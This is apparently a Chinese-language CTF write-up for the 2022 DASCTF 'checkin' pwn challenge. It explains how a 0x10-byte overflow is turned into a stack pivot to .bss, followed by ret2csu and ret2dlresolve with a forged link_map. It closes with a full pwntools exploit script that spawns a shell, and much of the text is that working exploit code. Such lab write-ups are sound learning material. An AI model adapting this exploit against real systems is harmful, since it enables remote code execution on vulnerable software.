2022DASCTF X SU 三月春季挑战赛checkin（栈迁移,ret2dl）

找了一道今年三月的复习一下ret2dl，结果栈迁移把我难倒了，仅能溢出0x10的栈迁移。题目可在buuctf竞赛中心里找。

程序分析：

程序只有一个read，只能溢出0xb0-0xa0个字节

没有canary，且Partial RELRO

考虑栈迁移到bss段，然后ret2dl

栈迁移逐步解析：

前置知识：
leave相当于汇编 mov rsp,rbp;pop rbp;
ret相当于汇编pop eip;
pop时看的是esp所指向的位置

我们先溢出覆盖rbp为bss+0x300+0xa0
ret为main_read_addr

程序执行leave：
mov rsp,rbp---->rsp=old_rbp 也就是栈的地址
pop rbp---------->rbp=bss+0x300+0xa0,rsp=rsp=old_rbp+8
程序执行ret：
回到main的read处
可再次输入

main_read_addr=0x4011BF
main=0x401156
pay1='a'*0xa0+p64(bss+0x300+0xa0)+p64(main_read_addr)
se(pay1)

先ret2csu取rop一个read往fake_linkmap_addr-0x40处写0x200字节，返回到main，然后填满至0xa0，溢出覆盖rbp为bss+0x300
覆盖ret为leave_ret

现在我们rbp=bss+0x300+0xa0,rsp=rsp=old_rbp+8
程序执行leave：
mov rsp,rbp---->rsp=bss+0x300+0xa0
pop rbp---------->rbp=bss+0x300-8,rsp=bss+0x300+0xa0+8
程序执行ret：(我们已经覆盖为leave;ret;)
也就是再次执行leave;ret;
程序再次执行leave：
mov rsp,rbp---->rsp=bss+0x300-8
pop rbp---------->rbp=(bss+0x300-8处的值，没有用处)，rsp=bss+0x300
程序再次执行ret:
就是执行bss+0x300处的rop链，然后会返回main

payload=csu(0,fake_linkmap_addr-0x40,0x200,elf.got['read'])
payload+=p64(main)
payload = payload.ljust(0xa0,'\x00')
payload += p64(bss+0x300-8)
payload += p64(leave_ret)
se(payload)

接下来就是会能写0x200字节到fake_linkmap_addr-0x40处
设定fake_linkmap_addr=fake_linkmap_addr=elf.bss()+0x700+0x8

payload=csu(0,fake_linkmap_addr-0x40,0x200,elf.got['read'])
payload+=p64(main)
payload = payload.ljust(0xa0,'\x00')
payload += p64(bss+0x300-8)
payload += p64(leave_ret)
se(payload)

我们这边在fake_linkmap_addr-0x40处开始写rop链，到fake_link_map_addr处刚好写入的是fake_link_map结构体
摆好参数，会调用dlsolve函数解析为system(‘/bin/sh’)

pop_rsi_r15=0x401251
payload=p64(pop_rsi_r15)+p64(0)+p64(0)+p64(pop_rdi)+p64(fake_linkmap_addr+0x48)+p64(dlsolve)+p64(fake_linkmap_addr)+p64(0)+fake_link_map
se(payload)

结束后会返回到main，这么填，效果就是
执行fake_linkmap_addr-0x40开始的代码

se('a'* 0xa0 + p64(fake_linkmap_addr-0x48) +p64(leave_ret))

成功getshell

exp：

from pwn import * 
local_file  = './checkin'
local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
select = 0
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',26376 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
     gdb.attach(r,cmd)
#------------------------
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr
    #dyn_relplt
    linkmap += p64(0)
    linkmap += p64(fake_linkmap_addr + 0x18)
    #relplt
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
    linkmap += p64(0x7)
    linkmap += p64(0)

    linkmap += p64(0)#l_ns
    #dyn_symtab
    linkmap += p64(0)
    linkmap += p64(known_func_ptr - 0x8)
    
    linkmap += b'/bin/sh\x00'
    
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr)#fake_linkmap+0x68
    linkmap += p64(fake_linkmap_addr + 0x38)#fake_linkmap+0x70
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8)#fake_linkmap+0xf8
    return linkmap

def csu(rdi,rsi,rdx,function):
    csu_front_addr=0x401230
    csu_end_addr=0x40124a
    payload = ''
    payload += p64(csu_end_addr) + p64(0) + p64(1) + p64(rdi) + p64(
        rsi) + p64(rdx) + p64(function)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    return payload

#-----------------------------------------------------
fake_linkmap_addr=elf.bss()+0x700+0x8
known_func_ptr=elf.got['read']
offset=libc.sym['system']-libc.sym['read']
fake_link_map=fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset)
#-------------------------------
pop_rdi=0x401253
dlsolve=0x401026
leave_ret=0x4011e2 
#ROPgadget --binary ./checkin|grep "leave"
ret=0x40101a
bss=elf.bss()
#----------------------------------------------------------
main_read_addr=0x4011BF
main=0x401156
pay1='a'*0xa0+p64(bss+0x300+0xa0)+p64(main_read_addr)
se(pay1)
#---------------------------------
payload=csu(0,fake_linkmap_addr-0x40,0x200,elf.got['read'])
payload+=p64(main)
payload = payload.ljust(0xa0,'\x00')
payload += p64(bss+0x300-8)
payload += p64(leave_ret)
se(payload)
#----------------------------
pop_rsi_r15=0x401251
payload=p64(pop_rsi_r15)+p64(0)+p64(0)+p64(pop_rdi)+p64(fake_linkmap_addr+0x48)+p64(dlsolve)+p64(fake_linkmap_addr)+p64(0)+fake_link_map
se(payload)
#debug()
#-------------------------------------
se('a'* 0xa0 + p64(fake_linkmap_addr-0x48) +p64(leave_ret))
r.interactive()